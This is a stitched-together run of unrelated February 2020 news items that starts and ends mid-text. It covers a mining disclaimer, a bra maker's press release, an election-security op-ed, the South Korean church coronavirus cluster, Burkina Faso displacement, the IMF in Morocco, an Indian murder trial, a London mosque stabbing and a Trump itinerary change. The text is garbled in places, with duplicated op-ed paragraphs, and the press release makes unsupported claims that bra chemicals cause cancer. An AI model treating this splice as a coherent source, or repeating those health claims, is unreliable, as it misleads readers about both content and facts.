antimony projects in Australia, the Americas and Europe to generate near-term cash flow and shareholder value. Forward-Looking Statements: This news release contains "forward-looking statements" within the meaning of applicable securities laws. Readers are cautioned not to place undue reliance on forward-looking statements. Actual results and developments may differ materially from those contemplated by these statements depending on, among other things, changes in commodity prices and general market and economic conditions. The factors identified above are not intended to represent a complete list of the factors that could affect Mandalay. A description of additional risks that could result in actual results and developments differing from those contemplated by forward-looking statements in this news release can be found under the heading Risk Factors in Mandalays annual information form dated March 28, 2019, a copy of which is available under Mandalays profile at www.sedar.com. In addition, there can be no assurance that any inferred resources that are discovered as a result of +additional drilling will ever be upgraded to proven or probable reserves. Although Mandalay has attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking statements, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. There can be no assurance that forward-looking statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements. MILWAUKEE, Feb. 21, 2020 /PRNewswire/ -- Vibrant Body Company, manufacturer of first layer clean intimate wear for women, took to social media to applaud the transition of Victoria's Secret ownership by way of acquisition by Sycamore Partners today. "We so welcome the change. Change is the path to progress. This could potentially be a big win for women's health, and strides to lessen the objectification of women," said Beth Shea Palmer, spokesperson for the Vibrant brand. "We're excited to welcome Sycamore Partners to the conversation about textiles that do no harm." The Vibrant Bra is extraordinarily comfortable and is free of potentially harmful chemicals and dyes, but we didnt stop there, said Heidi Lehmann, Vibrants master designer and one of the worlds foremost intimate apparel designers (pictured, far right). Vibrant's first layer intimates eliminate the concern that cancer causing and otherwise toxic chemicals enter a woman's body via the two most porous areas of the feminine form. Vibrant Body Company has never used wires in the design of their bras, which have a 20-year utility patent for innovative design. "The Vibrant Bra is extraordinarily comfortable and is free of potentially harmful chemicals and dyes, but we didn't stop there," said Heidi Lehmann, Vibrant's master designer and one of the world's foremost intimate apparel designers. "We wanted a bra that gives women an amazing shape and lift. The sexy glow emanating from our customers is self-confidence that comes from knowing you're naturally beautiful." Victoria's Secret has been under increased scrutiny of late with tumbling stock prices, market share erosion and claims of cultural misogyny, bullying and harassment, as reported by multiple publications, including The New York Times in a February 2020 expose. "Sycamore Partners is well respected in the retail sector," offered Michael Drescher, founder of Vibrant Body Company, and TEDx speaker. "They have the resources to make a true and welcomed impact on self-regulation of the textile industry. We look forward to a productive dialogue and new industry partnership for collectively doing the right thing for women's health and wellness." ABOUT VIBRANT BODY COMPANY The Vibrant Body Company offers the world the first clean bra, camisoles and underwear. Everything the company does starts with what's best for women's health, well being and comfort. Vibrant's mission is to change the way women feel and think about their breasts, bras and their first layer. Look for Vibrant Bras, camisoles, tops and underwear at specialty retailers, pop-up stores in New York City, Los Angeles and Milwaukee and online at www.vibrantbodycompany.com. Contact: Beth Shea Palmer 312-898-6491 SOURCE The Vibrant Body Company Related Links https://vibrantbodycompany.com The 2020 election cycle is now officially underway as each state prepares for its upcoming primary election and the general election in November. However, as a nation we are not fully prepared to deal with the possibility of malicious activity targeting our voting system and compromising the sanctity of our elections -- something that deeply concerns many and jeopardizes faith in our democracy. As the former director of cyber operations and chief information security officer (CISO) for the U.S. Air Force, my views around election security stem from fighting nation-states on the front lines in the U.S. military and later combatting cybercrime in the commercial sector. From where I sit, a big reason for our cybersecurity-unpreparedness is that we are not looking at the electronic-voting infrastructure and potential vulnerabilities holistically, nor are we taking into account the complexities involved. Solutions being considered address certain parts of the problem but not the entire chain of actions, thus putting the legitimacy of our elections at serious risk. The variety and sources of cyberattacks are diverse and can occur at virtually any point in time and anywhere in the system -- before, at and after the ballot box. Here are three examples of the types of attacks state governments and security vendors should be working together to address: Attacks on the vendors voting system software. This method focuses on penetrating the networks of the private companies that develop elements of election technology in order to compromise election software before it is even sold to a state and deployed. This method focuses on penetrating the networks of the private companies that develop elements of election technology in order to compromise election software before it is even sold to a state and deployed. Direct and lateral attacks on voter registration databases. Most voter databases were written more than 10 years ago and are vulnerable to being hacked. Attackers can use malware to compromise a states voting records by way of the Department of Motor Vehicles or otherwise or they can delete or corrupt voter registration for a portion of the population. Most voter databases were written more than 10 years ago and are vulnerable to being hacked. Attackers can use malware to compromise a states voting records by way of the Department of Motor Vehicles or otherwise or they can delete or corrupt voter registration for a portion of the population. Direct attacks on vote casting, counting and auditing. Some states use email and fax for casting early votes, both of which can be highly insecure. Votes could be intercepted, or the election system could be injected with fraudulent votes cast by fake identities created by breaching voter databases or DMV records. A distributed denial-of-service attack could also target voter registration systems and disrupt the voting verification process. The way forward for state governments and cybersecurity vendors Although states are ultimately responsible for election systems and their security, providers of security software and hardware can and should also play a key role. Below are four steps that state governments, in partnership with the technology community, should take to effectively address vulnerabilities in the voting system and better protect our democratic process. 1. Mandate transparency from e-voting hardware and software providers about security of their software, and require them to identify security vulnerabilities. What Im talking about is mandating cybersecurity hygiene, much in the same way that companies require cybersecurity hygiene of the organizations with which they do business or form partnerships. There is a broad range of commercial providers of election system technology, each playing a different role in the overall e-voting system ecosystem -- some of which have begun offering free, open-source versions of their software to governments -- making it critical for providers to be transparent about potential vulnerabilities in their systems. Just as Microsoft releases patches when new threats are discovered, this upgrade process must happen in our election system as well. 2. Conduct continuous, automated measurement and monitoring of the effectiveness of security controls. In other words, states must understand how systems are protecting against new and existing vulnerabilities, and this monitoring process must be automated and run continuously with cooperation from each software provider. Too often, assumptions are made that security technology and protocols are working as theyre supposed to. Given the complexity of IT environments, the number of software elements that work together and the volume of network and access changes made every day, misconfigurations that compromise performance are common. Optimal performance of the overall security environment requires quantifiable measurement and evidence that controls are working as expected. 3. Limit access for government employees to certain portions of the election system based on role and need. In the business world, insider threats pose greater security risks than external forces, and the same can be true for governments. This is not to say that external threats arent an issue; they absolutely are. However, its also important to take a cautious approach to the type of access government employees have to different systems. We layered defense approach, puts measures in place to prevent the likelihood of a lateral attack on one or more aspects of the voting system -- including the voter registration database, which is linked to the DMV network. By limiting access to each system based on an individuals role and need, cyberattacks on related systems are less likely. 4. Create more alignment between state CIOs, CISOs and secretaries of state, and allow more oversight into security protocols, systems and technology being used. Across many states, the secretary of state oversees the election process, which includes testing and certifying the systems and technology used for voting. States also have a CIO and a CISO, who typically dont have a direct relationship with the secretary of state. I see this as an obvious area for change. At the very least, state CIOs and CISOs should be more involved in addressing election security, working alongside the secretary of state and election commissions as they strive to better understand the evolving cyber threat landscape and put the right solutions in place to address potential threats. But a more closely aligned relationship among the stakeholders when taking the first three steps outlined above will also drive more efficiencies, more consistency and a more uniform approach to election security. Faith in our democracy is firmly grounded in trust in our electoral system. The challenges with protecting and securing our voting infrastructure are many, but they are not insurmountable. With states and vendors partnering to developing and adhering to the strictest security protocols and treating each component in the e-voting system holistically, we can assure the voting population of a fair and legitimate election outcome and maintain trust in American democracy. Read live updates on the coronavirus outbreak here. SEOUL, South Korea At meetings of the secretive Shincheonji Church of Jesus, worshipers sit packed together on the floor, wearing no glasses or face masks. They come to church even when sick, former members say. After services, they split up into groups for Bible study, or to go out into the streets and proselytize. After the first coronavirus infection was reported among its members, they were told to lie about being followers, though the church later said that was not its policy. Now, health officials are zeroing in on the churchs practices as they seek to contain South Koreas alarming coronavirus outbreak, in which members of Shincheonji, along with their relatives and others who got the virus from them, account for more than half of the confirmed infections. On Saturday, the number of cases in the country soared to 346 second only to mainland China, if the outbreak on the Diamond Princess cruise ship is excluded from Japans count. More than 1,250 other church members have reported potential symptoms, health officials said, raising the possibility that the nations caseload could soon skyrocket further. In response, the government is shutting down thousands of day-care facilities, nursing homes and community centers, even banning the outdoor political rallies that are a feature of life in downtown Seoul. More than 4,000 people are being forced to flee their homes each day in Burkina Faso, as attacks on civilians by jihadist militants increase in number and frequency, the UN's refugee agency said on Friday. "People fleeing the violence report attacks on their villages by militant groups, killing, raping, pillaging. Terrified of these attacks, residents have left everything behind to find safety," the UNHCR said in a statement. "In Burkina Faso, the latest attacks by militants on civilians and local authorities have been forcing a daily average of more than 4,000 people to flee their homes and search for safety since January 1," it said. In 2019, the daily average had stood at around 1,400, the agency's spokesman Babar Baloch told AFP. So far, 765,000 people had already been displaced, the UNHCR estimated. Of these, more than 700,000 had fled in the last 12 months, including 150,000 in the last three weeks alone. Most of those displaced were now living in host communities, but the UNHCR was finding it difficult to assist them because access was "problematic" in some regions due to the insecure situation, spokesman Andrej Mahehic told a news briefing. Burkina Faso is an impoverished and politically fragile country in the west of Africa which, like neighbouring Mali and Niger, suffers frequent attacks by jihadist groups. Starting in northern Mali in 2012, jihadist violence, often intermingled with inter-community conflicts, spread to Burkina Faso and Niger, killing 4,000 people in the three countries in 2019, according to UN figures. The UNHCR said that more than 4,400 refugees from Niger had arrived in Mali, fleeing a string of attacks in the Tillaberi and Tahoua regions. The refugees had found safety in the Malian towns of Anderamboukane and Menaka, where they joined another 7,700 displaced Malians in the same area. More people continue to cross the border between Niger and Mali, the UNHCR said. "Alarmed by the dramatic rise of forced displacement in the Sahel, UNHCR reiterates its call for the protection of civilian populations and those fleeing violence," the statement said, adding that "humanitarians need safe access to deliver assistance." Morocco has implemented reforms to achieve inclusive growth, improve governance and fight corruption and is leading the way in the region and in the continent, said IMF managing director Kristalina Georgieva. Morocco thanks to its role and investments in Africa is well-placed to be the venue for the annual meetings of the IMF and WB Group in October 2021 in Marrakech, Georgieva said at a joint press conference Thursday in Rabat with Finance Minister Mohammed Benchaaboun and Central Bank Governor Abdellatif Jouahri. I am impressed to see Morocco engaged constructively in economic prosperity through investments in the rest of Africa, said Georgieva. Morocco has geared the bulk of its foreign direct investments to the African continent where the countrys main telecom and fertilizer producing companies as well as banks and construction companies have rolled out investments. She said Morocco is reaping the benefit of the painful reforms it has launched, lauding the countrys initiatives in favor of the youth and women. The IMF chief commended Moroccos willingness to move to a more flexible exchange rate of the dirham, adding that the IMF made available to Morocco a flexible credit line known as the precautionary liquidity line since 2018 that was treated as an insurance and never used. Finance Minister Benchaaboun said relations with the IMF were excellent, noting that both parties have discussed the new generation of sector-based plans that Morocco prepares to launch part of a new development model. He said Morocco was not pushed against its will to adopt dirham flexibility and that it was rather a sovereign choice, noting that Morocco will continue step-by-step with the currency reform. Benchaaboun also said that the precautionary liquidity line was an insurance and hence Morocco never tapped into it as it was a tool to boost the confidence of capital markets and ensure against external shocks. The IMF Chief also pointed out, at a meeting with students from Mohammed V University, Ibn Tofail University and the International University of Rabat (UIR), that Morocco is one of the few countries in Africa to have 22% of its gross domestic product (GDP) in the form of income. Morocco is considered to be one of the few countries in Africa to have 22% of its GDP in the form of income, while most countries suffer from financial difficulties, she said. Ms Georgieva also noted that the kingdom is a country which has made good progress thanks to the various reforms undertaken, adding that it can represent a source of inspiration for other countries. Within the IMF, we want to be Moroccos partners and support the reform of the administration and the tax system to ensure that public spending meets the aspirations of Moroccan citizens, she said. During her working visit to Morocco Feb.17 to 20, Mrs Kristalina Georgieva made a trip to Marrakech, the venue of the 2021 Annual Meetings of the IMF and the World Bank. After several years at last this event will be organized on African soil, she said adding that Morocco was chosen to be a world economic and financial capital for its history, its culture and its economic dynamism. This will be the first time that an African country will host the IMF-WB annual meetings in 47 years. The meetings are set to bring together the ministers of economy and finance of 188 member states, in addition to the directors of central banks, international investors, and businessmen. Heads of State, parliamentarians, and representatives of civil society are also expected at the event. The Bombay High Court on Friday said it was giving the prosecution "last chance" to complete expeditiously the trial in the killing of artist Hema Upadhyay and her lawyer Haresh Bhambani. Hema Upadhyay's estranged artist husband Chintan Upadhyay has been arrested in the case along with three others. Justice Sadhana Jadhav was on Friday hearing a bail plea filed by Chintan claiming that despite an assurance given to the Supreme Court on February 2019 by the prosecution that trial in the case would be completed within nine months from framing of charges, the trial is yet to be completed. Chintan's counsel Raja Thakare told HC the trial was moving at snail's pace and his client was languishing in jail for the past four years. "He is not a hardened criminal or a menace to society. He is an artist of international acclaim," Thakare said. The court said it cannot be oblivious to the fact that the accused has a right to expeditious trial. "The prosecution is given a last chance to complete trial expeditiously. This court is accepting the assurance given by the prosecution that the trial shall be completed within six months," the court said, and posted the bail plea for further hearing after four weeks. Mumbai-based artist Hema and Bhambani were killed on December 11, 2016 and their bodies disposed of in cardboard boxes that were thrown into a ditch in suburban Kandivali. Prime accused Vidyadhar Rajbhar has been absconding since then, while Chintan was arrested soon after on suspicion of being the alleged mastermind behind the conspiracy to eliminate his estranged wife. Apart from Chintan, others arrested include Pradeep Rajbhar, Azaad Rajbhar and Shivkumar Rajbhar. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Muslim leader returned to one of Britain's biggest mosques today with his arm in a sling less than 24 hours after being stabbed - and said he has forgiven his attacker. Raafat Maglad, 70, collapsed when he was allegedly stabbed in the neck or shoulder by a 29-year-old man who was standing behind him with a five-inch kitchen knife. Amid the mayhem yesterday, 20 worshippers pinned the knifeman to the ground, while others administered first aid to Mr Maglad at the London Central Mosque. The Metropolitan Police arrived minutes later to the mosque near Regent's Park shortly after 3pm, and arrested the attacker on suspicion of attempted murder. Today, Mr Maglad, who leads the call to prayer five times a day, returned to the mosque after being released this morning from a hospital's major trauma unit. Mr Maqlad was flanked by security at the mosque today, saying: 'I forgive him. I feel no hatred for him, he's a human being and what happened to me is my fate. Muslim prayer leader Raafat Maglad arrives at the London Central Mosque this afternoon less than 24 hours after he was stabbed in the neck with a five-inch kitchen knife Mr Maglad arrives at the London Central Mosque near Regent's Park in London this afternoon Mr Maglad is greeted as he arrives at the London Central Mosque for prayers this afternoon Raafat Maglad speaks to reporters at the mosque in London today following his ordeal 'However the law must be implemented. All I can remember is someone approaching me from behind and then feeling great pain in my neck. 'He did not say anything to me. It was a really deep cut. I rushed myself out of the room and someone rushed me to hospital. 'I'm still in pain but I wanted to come here today and pray. I felt it was important to do that but now I'm returning to hospital. I don't know the man. I have seen him in the mosque before but I don't know much about him.' The father-of-three, who lives in Queen's Park, West London, also told the Evening Standard that he was lucky to survive and said: 'Nothing will stop me from praying'. Arriving home today, he said: 'I was closing my eyes to pray and put down my head. It felt like someone hit me with a brick. It was terrible, there was so much blood. 'I put my hand up and tried to close the cut. Everyone stopped him and called the ambulance. I feel lucky. It could have cut my jugular and I'd have had no chance.' Mr Maglad speaks to the media at London Central Mosque near Regent's Park this afternoon Mr Maglad smiles today as he returns home to Queen's Park, West London, after being treated at a major trauma unit for a serious stab wound to his shoulder A police officer holds a man on the floor following the stabbing at Regent's Park Mosque Doctors told Mr Maglad he could not move his right arm and gave him six stiches in his neck. He asked them to discharge him early because he wanted to be at home. Reverend from nearby church visits with a bouquet of flowers Reverend Dr Anders Bergquist, vicar at the nearby St John's Wood church, visited the mosque this morning with a bouquet of flowers. He said he had come with a message of 'solidarity, and of support and of deep regret that something like that should happen'. Reverend Anders Bergquist from St John's Wood Church delivers flowers this morning He said he had spoken to the mosque's director general Dr Ahmad Al Dubayan, who he described as 'extremely calm and very measured' in the immediate aftermath of the attack. Rev Bergquist said: 'We had some discussion about the dilemma when something like this happens because you want a church or a mosque to be easily accessible and open and welcoming to everybody and you really don't want to have to start putting up metal airport style screens for people as they're coming through. Reverend Anders Bergquist at London Central Mosque near Regent's Park today 'So they're going to have to be thinking very carefully together with the police about what their security arrangements are.' But he said he hoped the mosque would remain 'as welcoming and accessible as it's always been'. Advertisement Mr Maglad added: 'I would like to thank everyone who helped. Last night the emergency room was full of so many people supporting me. It was nice. 'This attack won't change my behaviour. Nothing will stop me praying, and I will be back calling prayers as soon as I can. I have to find out if I need surgery first.' Mosque advisor Asayaz Ahmad said their morning prayer was meant to be dedicated to being good to your parents, but following the attack it changed to a focus on living in a secure society and looking out for one another. He said: 'There was blood everywhere, it was all over his (Mr Maglad's) neck. They had to keep pressure on it. He discharged himself from hospital, I think he went home. 'He is doing well, he is with his brother. We will have some 1,000 people come here in the next hour. Then there will be samosas and hot drinks and Raafat might be here. 'There are five prayers in the day. He has been coming here to give every prayer for the last 25 to 30 years. 'Today's prayer was about being good to your parents but we changed it to be about living in a secure society and environment and looking out for everyone. The Imam asked the prayer to talk about it today.' Worshippers said the suspect had attended prayers at the mosque sporadically for the past six months and had previously been spotted acting strangely. Mr Maglad has been the mosque's muazzin the person who leads and recites the call to prayer for almost 30 years and was about to retire. He is a senior elder at the mosque and oversaw the funeral of Dodi Fayed in 1997 following his death in a car crash in Paris with Princess Diana. Regular prayer goers at the mosque said the knifeman was a 'friend of the mosque' who would pray there regularly, but displayed signs of odd behaviour. They said he would pace up and down the mosque just seconds before prayer, and stand next to the imam or behind prayer leader Mr Maglad. A man arriving at the mosque for prayer this morning said of the knifeman: 'He is not well - every time he comes his behaviour is odd. Mr Maglad, 70, smiled as he was treated in hospital yesterday following the mosque attack The image above shows a close up of the man who was arrested after attacking Mr Maglad A man points to a knife on the floor following the incident at the Regent's Park Mosque 'The prayer caller used to look after him and treat him nicely. I know the man, he acted very strangely. 'Sometimes he would come here and he would go to the front where the imam prays, which is not the done thing, and he would do an extra prayer. 'He would stay a long time. He acted very strange. He would be walking up and down before prayer, and then he would take his space at the last second. 'He was definitely not here every day, but he would go through phases of coming here for every prayer and then not coming at all for a while. Last time I saw him was about six months ago.' A fellow worshipper at the gates this morning said: 'I was not here yesterday, but I saw the video of what happened. I thought 'what is this?' I was shocked when I saw his face. His behaviour was strange. Dr Ahmad Al Dubayan, the mosque's director general, greets London Mayor Sadiq Khan at the London Central Mosque today Mayor of London Sadiq Khan arrives at the London Central Mosque near Regent's Park today London Mayor Sadiq Khan outside Regent's Park Mosque in London this afternoon 'He would stand behind Raafat. Sometimes you saw him everyday, sometimes you never saw him. I know him, but I never talked to him. I didn't know his name.' A woman visiting the mosque this morning said: 'I was here yesterday, but I was outside. I did not see the man, but I saw the people flee. 'The man used to come and pray at the mosque. He was a friend of the mosque. I think he was unwell. Why did he do this?' Mr Maglad's friend Waleed Mohammed, 49, said: 'There is only one Rafaat in the mosque, his voice comes out of that minaret five times a day. 'For this to happen right at the end of his career is very, very sad for the whole Muslim community.' Mr Maglad (circled) is the muezzin at the London Central Mosque and calls Muslims to prayer Witnesses said that the attacker had waited for Mr Maglad (pictured above) to start the call to prayer before he attacked One of his neighbours said Mr Maglad, who has lived on his street for more than 30 years, said: 'No one could ever have held a grudge against him. He was such a lovely man, always very cordial.' Another said that despite his private nature, he used to greet each of his neighbours jovially every day. They said: 'He was always very nice and neighbourly, and got on with everyone in this street.' Muslims 'looking over their shoulders' after mosque stabbing Muslims in London feared a mosque attack had 'been brewing' following similar atrocities at places of worship around the world, a community leader has said. Shaukat Warraich, chief executive of non-theological group Faith Associates, said worshippers are now 'looking over their shoulders' as they come to prayer, with many women and children opting to stay at home rather than venture out to mosques after dark. Mr Warraich told the PA news agency he spoke to the London Central Mosque in Regent's Park about their security measures only an hour before Thursday's attack, in which a man knifed the muezzin, who makes the call to prayer, at around 3pm. Metropolitan Police said the incident was not believed to be terror-related. The victim was taken to hospital with non life-threatening injuries. Mr Warraich said many Muslims had been on edge since the Christchurch mosque shootings in New Zealand last March, when 51 people were killed and many others injured by a white supremacist. He said: 'Things have been brewing for some time now, since the Christchurch attacks (generally) the community has feared something like this. 'Regent's Park is the most iconic mosque in London because of its size and location, but it is probably also the most secure in terms of what they have and resources and manpower. 'But generally mosques are soft targets. Most don't have any security apart from some CCTV. 'What we are seeing now is definitely a change in behaviour - women have stopped going and some children too, they have been advised by the menfolk not to come to prayer in the evenings and to worship at home instead, because there are concerns about being attacked at prayer or on the way to the mosques. People are looking over their shoulders, 100 per cent.' Mr Warraich said others have stopped congregating around the entrance to mosques if they arrive late for prayers as they do not want to be considered a target. He said it would 'send the wrong message' to introduce airport-style security, but said mosques were now consulting with security companies in order to make worshippers feel safer. Advertisement Mayor of London Sadiq Khan went to the mosque today to join worshippers for Friday prayers. He was greeted with a hug by director general Dr Ahmad Al Dubayan. Speaking after the 'Jummah' prayer, the second of the Friday worship, the Mayor addressed hundreds of men, women and children leaving the mosque. He said: 'I am here as your Mayor to reassure you after the awful incident we saw yesterday that our places of worship - whether they are mosques, synagogues or churches - are temples and should be sanctuaries and safe havens, safe from the fear of attack.' He added: 'The good news is that Abu Azim, our brother who was injured yesterday, is with us today for Jummah prayers. Unfortunately there are some people who will attack people at their most vulnerable, which is then they are worshipping.' Local Church of England Reverend Dr Anders Bergquist brought flowers to the mosque today and said security measures may need to be discussed. Dr Bergquist, of St John's Wood Church said of the director general: 'He was extremely calm and we had some discussion about the dilemma when something like this happens. 'You want a church or a mosque to be easily accessible and open or welcoming to everybody. 'You really don't want to be putting up metal airport style screens for people as they're coming through. So they're going to have to be thinking very carefully with the police about what their security measures are. 'It is much too early to say, but all of us hope this place will continue to be as welcoming and accessible as it has always been. We keep our church open all day every day and welcome all sorts of people to come in.' The attack came less than 24 hours after a far-Right extremist shot dead nine people in shisha bars in Germany. However, Scotland Yard said that it was not treating the stabbing in the mosque as a terror attack. Some said he was from Eastern Europe, possibly Albanian, and had mental health issues. A dramatic video was published on social media last night showing the handcuffed suspect, who was wearing a red hoodie and had bare feet, being held down by officers before being led away. Worshipper Abi Watik, 59, said: 'The victim had just said 'Allahu Akbar' and five seconds later he was stabbed in the right shoulder. 'Suddenly the victim was screaming and was on the floor with lots of blood coming from his shoulder. The knife was on the floor. We did not know what was going on. 'Twenty people jumped on the attacker. One person kicked him in the back then he was pushed to the floor. We are all shocked.' The mosque has 24-hour security but it does not have airport-style metal detectors. A man is held by police following the incident at the mosque in North London yesterday Police escort a man out of the mosque in London following the stabbing incident Mustafa Field, director of the Faiths Forum for London, told reporters outside the mosque that worshippers had said it was 'one stab, one strike, around the neck' of the victim. He said: 'Then the congregation members, some of them broke their prayers, and intervened, restrained the individual. The mosque security called the police, and the police were there within minutes, and he was restrained and taken away.' He added: 'I understand he was in the mosque for a while. He may have witnessed the beginning of the prayers.' Religious leaders from all spheres tweeted their condolences and the Archbishop of Canterbury said: 'My sympathy is with those in shock after the stabbing at the London Central Mosque. Members of the Muslim community arrive this morning as a police car is parked outside the Regent's Park Mosque in London Members of the Muslim community talk outside the Regent's Park Mosque in London today People arrive at the mosque today as a police vehicle is parked outside after the attack 'Please join me in praying for healing for the victim and for peace across our communities.' Chief Superintendent Helen Harper, of Central-West Borough Command Unit, said: 'This was a profoundly shocking incident inside a place of worship and an urgent investigation is being carried out into the circumstances. 'Although we believe this to be an isolated incident, patrols have been increased around the area of the mosque to provide reassurance to worshippers and the local community.' She added: 'I would like to thank everybody in the mosque who helped to detain the man before he was arrested and continue to help my officers with their enquiries. I'm extremely relieved the injuries suffered by the victim do not appear to be life-threatening. 'However, this incident has undoubtedly caused a great deal of concern and we are working as swiftly as possible to establish the circumstances. No other suspects are being sought at this time.' Worshippers film the moment the man is taken out of the London Central Mosque Mr Maglad (pictured above) was stabbed once in the right shoulder moments after prayers had started, a witness said Dr Ahmad Al Dubayan, director-general of the Islamic Cultural Centre at the mosque, said another prayer hall had been opened for worshippers while police carried out their investigation. 'I feel sorry about what happened in the mosque, because this place is iconic, not only for Muslims but for all the British society,' he said. 'Many Muslims come here, many communities come here. We are so sorry this has happened here, and I hope it's only an individual incident.' Prime Minister Boris Johnson tweeted: 'I'm deeply saddened to hear of the attack at the London Central Mosque. 'It's so awful that this should happen, especially in a place of worship. My thoughts are with the victim and all those affected.' A police car can be seen parked outside the mosque yesterday as police investigate Officers remained at the scene yesterday and a cordon had been put in place outside An officer speaks to a man in the mosque while another holds the arrested man on the floor Zainab Gulamali from the Muslim Council of Britain told ITV News: 'It's really shocking, and I know lots of people are really concerned. The Regent's Park Mosque is a great mosque, it's very friendly, Central London, so it's a real community hub. 'And it's really distressing for people not just Muslims, but people of lots of faiths who worship at particular places of worship that this sort of thing could happen and particularly at a prayer time, that's really key. 'This mosque is hugely facilitating, it's got a great location, and because it's half term we'd have expected lots of people to be here for the afternoon prayers, so it's really sad that this happened and it must be really distressing for the people who witnessed it. 'We do understand amongst Muslim communities that there is a sense of fear and apprehension. Mosques are traditionally a place of sanctuary, and they often have an open door policy. 'We have a whole day dedicated to people visiting mosques and mosques opening their doors and people coming in and going to mosques where they probably haven't before. A police officer holds a man on the floor following the stabbing incident at the mosque 'I think we need to consider the balance between having an open door policy and being really welcoming to people of faith and no faith, and also prioritising the security of members. 'I'd like to see a real honest conversation about the rise in attacks against mosques, be they arson or vandalism or things like this, and a real conversation about security at mosques.' Mayor of London Sadiq Khan has tweeted his concern after the stabbing and said he was 'deeply concerned by the incident'. 'Every Londoner is entitled to feel safe in their place of worship & I want to reassure London's communities that acts of violence in our city will not be tolerated. 'The Met are providing extra resources in the area.' Police officers are seen outside the London Central Mosque in London yesterday afternoon Home Secretary Priti Patel tweeted: 'Terrible to hear of violent incident at Regent's Park Mosque. Thoughts are with victim, those directly affected and wider community. Grateful for rapid response of police & emergency services. Police must now be given space to investigate.' Mr Field told ITV News: 'I think it's really concerning, I mean it could have been any of us in many ways who come to the mosque. We need to think more about how we would intervene if there was an incident. 'People need to be more equipped to protect others, but also first aid and what support we can provide. The police were very, very swift and it's really important, but this is a key London mosque.' And Ayaz Ahmad, adviser to the mosque, said the Prime Minister's office, the Home Office and the Mayor's office had called the mosque to give their regards following the incident. Shadow home secretary Diane Abbott tweeted: 'My thoughts are with the victim, his loved ones and the entire community. Once again, this is a terrible crime. We must condemn all hate crime, wherever it occurs and whoever the perpetrators are.' Father Stephen Evans, the priest at St Marylebone Parish Church, a short walk away from the mosque, told Premier Christian Radio: 'I'm very saddened by it. I know the mosque well - those who are the leaders there and my prayers and sympathies go out to all at the Islamic and cultural centre, especially to the director general Dr Ahmad Al Dubayan and his team and our prayers are with very much the person who's been stabbed and his family. ** Do you know the attacker? Email tips@dailymail.com or mark.duell@mailonline.co.uk or call 020 3615 1838 ** Advertisement 'People need to hold - not just the community - but those who think of the Central Mosque as their home in their thoughts and their prayers and also everybody who may feel very threatened or very vulnerable when an event like this happens which seems to tear at the day heart of a free and open and liberal democracy. 'I think we all have to be both vigilant, but also aware of the world around us and some of the awful things that happen, sadly, in the name of religion, or against religion, I think it works both ways.' A Scotland Yard spokesman said: 'Police were called to a mosque in Park Road, NW8, at 3.10pm on Thursday, February 20, to reports of a stabbing. Zainab Gulamali from the Muslim Council of Britain told ITV News last night: 'It's really shocking, and I know lots of people are really concerned' One witness said the suspect had been a regular in the mosque, and had been seen at least six months ago. Abi Watik, 59, said: 'We were shocked, we didn't know what was happening' 'Officers attended along with paramedics from the London Ambulance Service. A man, in his 70s, was found with stab injuries. 'He was treated by paramedics before being taken to hospital. His condition has been assessed as non life-threatening. 'A man was arrested at the scene on suspicion of attempted murder. A crime scene has been put in place. Enquiries into the circumstances continue.' The police added yesterday afternoon: 'A 29-year-old man, who is believed to have been attending prayers, was arrested inside the mosque on suspicion of attempted murder. He has been taken into custody at a central London police station. The incident is not being treated as terror-related at this time.' A London Central Mosque spokesman said: 'There was an incident at London Central Mosque where an unknown individual attacked and stabbed the Muazzin (the person who makes the call to prayer) during Asr Prayer around 3pm. Muslim worshippers inside the London Central Mosque following the stabbing incident Police officers are pictured after responding to the stabbing incident in London yesterday 'The attacker was apprehended by the worshippers until the police arrived and arrested him. The Muazzin did not sustain any life threatening injuries but was seriously injured and is being treated at the hospital. 'We will provide further updates. We await further information from the police regarding the incident. Our thoughts and prayers are with the Muazzin and his family.' The London Ambulance Service said the man stabbed at the mosque had been taken to a major trauma centre. The service tweeted: 'We sent an ambulance crew, a paramedic in a car and an advanced paramedic practitioner to this incident in Regent's Park. 'We treated a man at the scene and took him to a major trauma centre.' Police were called to the scene near Regent's Park in London at around 3.10pm yesterday Mustafa Field, director of the Faiths Forum for London, told reporters outside the mosque that worshippers had said it was 'one stab, one strike, around the neck' of the victim Police did not speculate on a possible motive, but British Muslims have been the target of past attacks by far-right extremists. How the Regent's Park Mosque can house 5,000 worshippers The Regent's Park Mosque, also known as the London Central mosque or the Islamic Cultural Centre was built in 1977. The main hall can accommodate more than 5,000 worshippers, with women praying separately on a balcony overlooking the hall. The land that it stands on was donated to the Muslim community of the UK by George VI in return for land given to the British to build an Anglican cathedral on in Cairo by King Farouk of Egypt and Sudan. Advertisement In June 2018, an attacker drove a van into a crowd of people leaving evening prayers in London. One man died and a dozen people were injured. Yesterday was not the first time the flagship London mosque has seen violence. In March last year two knifemen ran into the building and 'washed their hands and faces' to blend in with worshippers after stabbing a man in his 20s to death nearby. That incident was not linked to the mosque, but it left worshippers shaken after they were locked in for five hours while armed police and helicopters searched the surrounding area. It was not terror-related. Westminster City Council Leader Rachael Robathan said: 'I am saddened by the attack at Regent's Park Mosque. 'The motives for this attack are unclear, but one thing is absolutely clear violence has absolutely no place in our City. Our thoughts are with the victim of this attack and his family. 'We will work with the community to offer whatever help and reassurance we can.' The Regent's Park Mosque, also known as the London Central mosque or the Islamic Cultural Centre, was built in 1977. ** Do you know the attacker? Email tips@dailymail.com or mark.duell@mailonline.co.uk or call 020 3615 1838 ** Gandhinagar, Feb 21 : US President Donald Trump will be cutting short his stay in Ahmedabad to accommodate his likely Agra visit and the dinner at Delhi. Sources said his visit to the Gandhi Ashram at Sabarmati is in all likelihood cancelled. "We are yet to receive any confirmation about the Presidents' plans regarding the Gandhi Ashram visit, but 99 per cent, it is scrapped," said a state government official. The Trumps were expected to spend about half-an-hour at the Ashram. A new parking space was being created at the place. A platform was being built on the rear side of the Ashram so that Prime Minister Narendra Modi could show the entire Sabarmati riverfront to the visiting dignitaries from one place. A special room was also being prepared at the Ashram, where the dignitaries would be spending some time. Sources said all that work has been halted for now. So, now the mega event -- the 22 km roadshow from the airport to the Sabarmati Ashram -- has been reduced to 9 km. Now, the Trump couple accompanied by Prime Minister Narendra Modi will be driving straight to the Stadium from the Ahmedabad airport. The change in plans can also be attributed to the fact that there's also a dinner arranged in the evening in Delhi which the US dignitaries are expected to attend. Christian Horner is not among those who are concerned about the 'pink 